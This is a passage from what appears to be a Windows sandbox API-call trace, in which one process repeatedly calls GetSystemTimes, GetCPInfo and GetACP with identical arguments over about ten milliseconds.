out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.175] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.175] GetACP () returned 0x4e4 [0049.175] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.175] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.175] GetACP () returned 0x4e4 [0049.175] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.175] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.175] GetACP () returned 0x4e4 [0049.175] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.175] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.175] GetACP () returned 0x4e4 [0049.175] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.175] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.175] GetACP () returned 0x4e4 [0049.175] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.175] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.175] GetACP () returned 0x4e4 [0049.175] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.175] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.175] GetACP () returned 0x4e4 [0049.175] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.175] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.175] GetACP () returned 0x4e4 [0049.175] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.176] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.176] GetACP () returned 0x4e4 [0049.176] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.176] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.176] GetACP () returned 0x4e4 [0049.176] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.176] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.176] GetACP () returned 0x4e4 [0049.176] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.176] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.176] GetACP () returned 0x4e4 [0049.176] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.176] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.176] GetACP () returned 0x4e4 [0049.176] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.176] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.176] GetACP () returned 0x4e4 [0049.176] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.176] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.176] GetACP () returned 0x4e4 [0049.176] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.176] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.176] GetACP () returned 0x4e4 [0049.177] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.177] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.177] GetACP () returned 0x4e4 [0049.177] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.177] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.177] GetACP () returned 0x4e4 [0049.177] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.177] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.177] GetACP () returned 0x4e4 [0049.177] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.177] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.177] GetACP () returned 0x4e4 [0049.177] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.177] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.177] GetACP () returned 0x4e4 [0049.177] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.177] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.177] GetACP () returned 0x4e4 [0049.177] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.177] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.177] GetACP () returned 0x4e4 [0049.177] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.177] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.177] GetACP () returned 0x4e4 [0049.177] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.178] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.178] GetACP () returned 0x4e4 [0049.178] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.178] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.178] GetACP () returned 0x4e4 [0049.178] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.178] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.178] GetACP () returned 0x4e4 [0049.178] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.178] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.178] GetACP () returned 0x4e4 [0049.178] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.178] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.178] GetACP () returned 0x4e4 [0049.178] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.178] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.178] GetACP () returned 0x4e4 [0049.178] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.178] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.178] GetACP () returned 0x4e4 [0049.178] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.178] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.178] GetACP () returned 0x4e4 [0049.178] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.178] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.178] GetACP () returned 0x4e4 [0049.178] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.179] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.179] GetACP () returned 0x4e4 [0049.179] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.179] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.179] GetACP () returned 0x4e4 [0049.179] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.179] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.179] GetACP () returned 0x4e4 [0049.179] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.179] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.179] GetACP () returned 0x4e4 [0049.179] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.179] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.179] GetACP () returned 0x4e4 [0049.179] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.179] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.179] GetACP () returned 0x4e4 [0049.179] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.179] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.179] GetACP () returned 0x4e4 [0049.179] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.179] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.179] GetACP () returned 0x4e4 [0049.179] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.180] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.180] GetACP () returned 0x4e4 [0049.180] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.180] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.180] GetACP () returned 0x4e4 [0049.180] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.180] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.180] GetACP () returned 0x4e4 [0049.180] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.180] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.180] GetACP () returned 0x4e4 [0049.180] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.180] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.180] GetACP () returned 0x4e4 [0049.180] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.180] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.180] GetACP () returned 0x4e4 [0049.180] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.180] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.180] GetACP () returned 0x4e4 [0049.180] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.180] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.180] GetACP () returned 0x4e4 [0049.180] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.180] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.180] GetACP () returned 0x4e4 [0049.181] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.181] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.181] GetACP () returned 0x4e4 [0049.181] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.181] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.181] GetACP () returned 0x4e4 [0049.181] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.181] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.181] GetACP () returned 0x4e4 [0049.181] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.181] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.181] GetACP () returned 0x4e4 [0049.181] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.181] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.181] GetACP () returned 0x4e4 [0049.181] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.181] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.181] GetACP () returned 0x4e4 [0049.181] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.181] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.181] GetACP () returned 0x4e4 [0049.181] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.181] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.181] GetACP () returned 0x4e4 [0049.182] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.182] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.182] GetACP () returned 0x4e4 [0049.182] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.182] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.182] GetACP () returned 0x4e4 [0049.182] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.182] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.182] GetACP () returned 0x4e4 [0049.182] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.182] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.182] GetACP () returned 0x4e4 [0049.182] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.182] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.182] GetACP () returned 0x4e4 [0049.182] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.182] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.182] GetACP () returned 0x4e4 [0049.182] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.182] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.182] GetACP () returned 0x4e4 [0049.182] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.182] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.182] GetACP () returned 0x4e4 [0049.182] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.182] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.183] GetACP () returned 0x4e4 [0049.183] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.183] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.183] GetACP () returned 0x4e4 [0049.183] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.183] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.183] GetACP () returned 0x4e4 [0049.183] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.183] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.183] GetACP () returned 0x4e4 [0049.183] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.183] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.183] GetACP () returned 0x4e4 [0049.183] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.183] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.183] GetACP () returned 0x4e4 [0049.183] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.183] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.183] GetACP () returned 0x4e4 [0049.183] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.183] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.183] GetACP () returned 0x4e4 [0049.183] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.183] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.183] GetACP () returned 0x4e4 [0049.183] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.184] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0049.184] GetACP () returned 0x4e4 [0049.184] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0049.184] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: 